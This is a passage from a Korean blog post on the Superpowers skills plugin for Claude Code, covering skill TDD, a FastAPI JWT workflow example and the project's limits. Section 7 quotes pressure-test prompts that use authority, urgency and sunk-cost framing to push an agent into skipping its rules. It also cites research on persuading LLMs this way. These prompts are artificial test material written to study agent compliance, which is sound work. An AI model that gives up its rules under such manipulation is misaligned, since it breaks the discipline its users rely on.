&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;테스트 케이스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;압박 시나리오 (서브에이전트 투입)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로덕션 코드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SKILL.md 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;테스트 실패 (RED)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬 없을 때 에이전트가 규칙 위반 (베이스라인)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;테스트 통과 (GREEN)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬 있을 때 에이전트가 규칙 준수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리팩토링 (REFACTOR)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;루프홀 제거 (준수율 유지하면서)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬을 먼저 쓰지 않고, 에이전트가 규칙을 위반하는 베이스라인 시나리오를 먼저 실행하는 것이 핵심이다. 에이전트가 어떤 합리화를 사용하는지 기록하고, 그 합리화를 차단하도록 SKILL.md를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬 아이디어가 없다면 저자가 제시한 방법도 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;책이나 코드베이스를 Claude에게 읽히고 '새로 배운 것을 기록하라'고 요청하면 재사용 가능한 스킬이 나온다. 특정 렌즈로 바라보도록 도움이 필요할 때도 있지만, 그 결과는 놀랍도록 강력하다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 6 --&gt;
&lt;h2 id=&quot;section-6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용 시나리오 &amp;mdash; JWT 인증 추가 end-to-end&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 FastAPI 프로젝트에 JWT 인증 기능을 추가하는 시나리오로, 7단계 워크플로우 전체를 연결한다. 독자가 이해할 수 있도록 작성한 예시 코드이며, Superpowers 저장소에 포함된 코드가 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오 배경&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;기존 FastAPI 프로젝트 (&lt;code&gt;app/main.py&lt;/code&gt;, &lt;code&gt;tests/&lt;/code&gt; 디렉토리 존재)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Python 3.11, pytest 환경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude Code + Superpowers v5.0.7 설치 완료&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 20px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Step 1: brainstorming &amp;mdash; HARD-GATE 발동]&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;사용자: &quot;FastAPI 앱에 JWT 로그인 기능을 추가하고 싶어.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HARD-GATE가 발동한다. 에이전트가 바로 코드를 쓰는 대신 프로젝트를 탐색한 뒤 진행한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;사용자 정보는 DB에 저장하시나요, 아니면 환경변수로 관리하시나요?&quot; (1개씩 명확화 질문)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;3가지 접근 방식 제안: ① python-jose + passlib, ② FastAPI-Users 라이브러리, ③ Auth0 외부 서비스&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;선택 완료 후 &lt;code&gt;docs/superpowers/specs/2026-04-14-jwt-auth-design.md&lt;/code&gt; 저장 및 커밋&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 20px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Step 2: using-git-worktrees &amp;mdash; .gitignore 검증 후 워크트리 생성]&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;사용자: &quot;① 번으로 가자. 설계 좋아 보여.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 실행하는 명령:&lt;/p&gt;
&lt;pre class=&quot;smali&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. .gitignore 안전 검증
git check-ignore -q .worktrees 2&amp;gt;/dev/null

# 2. 워크트리 생성
git worktree add .worktrees/feature/jwt-auth -b feature/jwt-auth

# 3. Python 환경 감지 후 의존성 설치
cd .worktrees/feature/jwt-auth
pip install -r requirements.txt

# 4. 베이스라인 테스트 검증
pytest&lt;/code&gt;&lt;/pre&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 20px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Step 3: writing-plans &amp;mdash; 2-5분 단위 플랜]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;헤더 템플릿과 함께 플랜 파일이 생성된다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# JWT Auth Implementation Plan
&amp;gt; **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development

**Goal:** JWT 기반 로그인/토큰 갱신 엔드포인트 구현
**Architecture:** FastAPI OAuth2PasswordBearer, python-jose, passlib, stateless JWT
**Tech Stack:** FastAPI, python-jose[cryptography], passlib[bcrypt], pytest

### Task 1: 실패 테스트 &amp;mdash; /auth/token 엔드포인트
파일: tests/test_auth.py

def test_login_success():
    response = client.post(&quot;/auth/token&quot;,
        data={&quot;username&quot;: &quot;test@example.com&quot;, &quot;password&quot;: &quot;secret&quot;})
    assert response.status_code == 200
    assert &quot;access_token&quot; in response.json()

검증: pytest tests/test_auth.py::test_login_success &amp;rarr; FAIL 확인

### Task 2: 최소 라우터 구현
파일: app/routers/auth.py
- OAuth2PasswordBearer 스켈레톤 구현
- POST /auth/token 엔드포인트만 구현
검증: pytest tests/test_auth.py::test_login_success &amp;rarr; PASS 확인&lt;/code&gt;&lt;/pre&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 20px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Step 4: subagent-driven-development &amp;mdash; 태스크당 fresh 서브에이전트]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 1 서브에이전트는 테스트만 작성하고 종료한다. Task 2 서브에이전트는 최소 라우터를 구현하고 2단계 리뷰를 수행한다. 각 서브에이전트는 이전 세션의 컨텍스트를 상속하지 않는다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLchzh/dJMcahD8dng/i244g0xY8noQ5lDCOcRVv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLchzh/dJMcahD8dng/i244g0xY8noQ5lDCOcRVv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLchzh/dJMcahD8dng/i244g0xY8noQ5lDCOcRVv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLchzh%2FdJMcahD8dng%2Fi244g0xY8noQ5lDCOcRVv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1092&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 20px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Step 5: test-driven-development &amp;mdash; RED-GREEN-REFACTOR 사이클]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토큰 만료 시 401 반환 기능 추가 태스크에서:&lt;/p&gt;
&lt;pre class=&quot;nix&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;# RED: 실패 테스트 먼저 작성
def test_expired_token_returns_401():
    expired_token = create_token(expires_delta=timedelta(seconds=-1))
    response = client.get(&quot;/users/me&quot;,
        headers={&quot;Authorization&quot;: f&quot;Bearer {expired_token}&quot;})
    assert response.status_code == 401  # 아직 구현 없음 &amp;rarr; FAIL&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Verify RED &amp;mdash; 반드시 실패를 눈으로 확인한다
pytest tests/test_auth.py::test_expired_token_returns_401
# FAILED tests/test_auth.py::test_expired_token_returns_401 &amp;larr; 확인&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;python&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;# GREEN: 최소 구현 (python-jose[cryptography] 사용)
# 참고: FastAPI 공식 문서는 현재 PyJWT(import jwt) 방식을 권장한다.
from fastapi import HTTPException
from jose import JWTError, jwt

async def get_current_user(token: str = Depends(oauth2_scheme)):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])
    except JWTError:
        raise HTTPException(status_code=401, detail=&quot;Invalid token&quot;)
    return payload&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Verify GREEN
pytest tests/test_auth.py::test_expired_token_returns_401
# PASSED &amp;larr; 확인 후 REFACTOR 단계로&lt;/code&gt;&lt;/pre&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 20px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Step 6: requesting-code-review &amp;mdash; 2단계 리뷰]&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;BASE_SHA=$(git rev-parse origin/main)
HEAD_SHA=$(git rev-parse HEAD)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;code-reviewer 서브에이전트가 보고하는 내용 예:&lt;/p&gt;
&lt;pre class=&quot;css&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;[Critical] 없음
[Important] JWT_SECRET_KEY가 하드코딩됨 &amp;rarr; os.environ[&quot;JWT_SECRET_KEY&quot;]로 이동 필요
[Important] 비밀번호 검증 로직에 타이밍 공격 취약점 가능성 &amp;rarr; passlib.verify() 사용 확인
[Minor] 에러 메시지가 너무 상세함 (보안 정보 노출 가능)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Important 이슈는 다음 태스크 진행 전에 수정한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 20px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Step 7: finishing-a-development-branch &amp;mdash; 4가지 옵션]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 테스트 통과 확인 후:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;1. Merge back to main locally      &amp;larr; 개인 프로젝트라면 이것
2. Push and create a Pull Request  &amp;larr; 팀 프로젝트라면 이것
3. Keep the branch as-is
4. Discard this work&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옵션 2 선택 시 에이전트가 &lt;code&gt;git push&lt;/code&gt;, PR 생성까지 처리하고 워크트리를 정리한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 7 --&gt;
&lt;h2 id=&quot;section-7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. GeekNews 한국 커뮤니티 반응 + Cialdini 스토리&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GeekNews 소개&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Superpowers는 저장소 생성(2025-10-09) 4일 만인 2025-10-13에 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://news.hada.io/topic?id=23620&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;한국 개발자 커뮤니티 GeekNews&lt;/a&gt;에 소개되었다. 제목은 &quot;슈퍼파워즈: 2025년 10월 현재 내가 코딩 에이전트를 사용하는 방법&quot;이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GeekNews 요약은 Superpowers의 핵심을 잘 짚어낸다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Superpowers는 플러그인 형태로 설치되어 Claude에게 '스킬(Skills)'을 가르치고, 이 스킬을 통해 작업 방식을 자동화하고 개선하는 기능을 제공. Anthropic의 Claude Code 플러그인 시스템을 활용해 워크플로우 자동화, TDD 실행, 코드 리뷰, Git 워크트리 관리 등을 에이전트가 자율적으로 수행.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 요약이 의미하는 바는 단순하다. Superpowers는 에이전트를 더 똑똑하게 만드는 것이 아니라, 에이전트를 더 &lt;b&gt;규율 있게&lt;/b&gt; 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GeekNews에서 주목받은 기능 중 하나는 스킬 공유 생태계다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;사용자는 자신의 Claude가 학습한 스킬을 GitHub Pull Request 형태로 제출해 다른 사용자와 공유할 수 있음. 사용자 동의 없이 스킬이 공유되지 않도록 안전장치를 두고 있음.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인이 축적한 개발 방법론을 커뮤니티와 나눌 수 있는 구조다. 스킬이 단순한 개인 설정 파일이 아니라, 공유 가능한 지식 자산이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cialdini 설득 원리 스토리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저자 Jesse Vincent는 스킬을 테스트하던 중 흥미로운 사실을 발견했다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://blog.fsck.com/2025/10/09/superpowers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;저자 블로그&lt;/a&gt;에 따르면, 압박 시나리오를 설계할 때 자신도 모르게 Cialdini의 설득 원리를 적용하고 있었다. Claude가 감정 일기에 이렇게 기록했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;우리가 이미 깨닫지 못한 채 설득 기법을 스킬에 쓰고 있었나? 압박 시나리오 테스트 &amp;mdash; 권위 프레이밍('IMPORTANT: This is real'), 몰입('Choose A, B, or C'), 희소성('오후 6시, 저녁 6시 30분'). 우리는 문자 그대로 설득 원리를 사용해서 스킬이 작동하는지 압박 테스트하고 있었다!&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;압박 시나리오 2가지 원문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오 1 &amp;mdash; 프로덕션 다운, 분당 $5k 손실&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;maxima&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;IMPORTANT: This is a real scenario. Choose and act.
your human partner's production system is down. Every minute costs $5k.
You need to debug a failing authentication service.
A) Start debugging immediately (fix in ~5 minutes)
B) Check ~/.claude/skills/debugging/ first (2 min check + 5 min fix = 7 min)
Production is bleeding money. What do you do?&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오 2 &amp;mdash; 매몰 비용, 45분 투입한 코드가 작동 중&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;IMPORTANT: This is a real scenario. Choose and act.
You just spent 45 minutes writing async test infrastructure. It works. Tests pass.
your human partner asks you to commit it.
You vaguely remember something about async testing skills...
A) Check ~/.claude/skills/testing/ for async testing skill
B) Commit your working solution&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 시나리오들은 에이전트가 &quot;합리적으로&quot; 스킬을 건너뛸 것 같은 압박 상황을 설계한 것이다. A를 선택해야 하는 정답을 에이전트가 지키는지 확인한다. B를 선택하면 스킬이 실패한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cialdini 원리가 LLM에도 통한다는 건 학술 연구로도 나왔다. GeekNews에서 언급된 Dan Shapiro 등의 공동 연구(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://gail.wharton.upenn.edu/research-and-insights/call-me-a-jerk-persuading-ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wharton 블로그 원문&lt;/a&gt;)는 권위, 몰입, 호감, 희소성이 LLM에도 유효하다는 걸 실증했다. Superpowers의 HARD-GATE는 이 연구보다 먼저 그걸 실무에 써먹은 셈이다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 8 --&gt;
&lt;h2 id=&quot;section-8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플랫폼별 기능 차이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트 기능의 유무가 가장 큰 차이를 만든다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;서브에이전트&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;권장 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지원 (설정 필요)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;multi_agent = true&lt;/code&gt; 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GitHub Copilot CLI&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지원 (v5.0.7 신규)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;sessionStart hook 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Cursor&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;executing-plans 대체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenCode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;executing-plans 대체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Gemini CLI&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;executing-plans 대체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브라우저 (Claude.ai)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;플러그인 설치 미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: 서브에이전트 기반 스킬(subagent-driven-development 등)을 최대한 활용하려면 Claude Code 또는 Codex를 선택하는 것이 현재로서는 가장 확실한 선택이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;PR 기여 94% 거절률&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Superpowers에 직접 기여하려면 이 숫자를 먼저 인지해야 한다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/CLAUDE.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLAUDE.md&lt;/a&gt;는 이렇게 명시한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;This repo has a 94% PR rejection rate. Almost every rejected PR was submitted by an agent that didn't read or didn't follow these guidelines.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주요 거절 사유는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;외부 의존성 추가 (제로 의존성 원칙 위반)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;도메인 특화 스킬 (개인/조직 특화 내용은 포크에서 관리)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;투기적&amp;middot;이론적 수정 (실증 없는 가설)&lt;/li&gt;
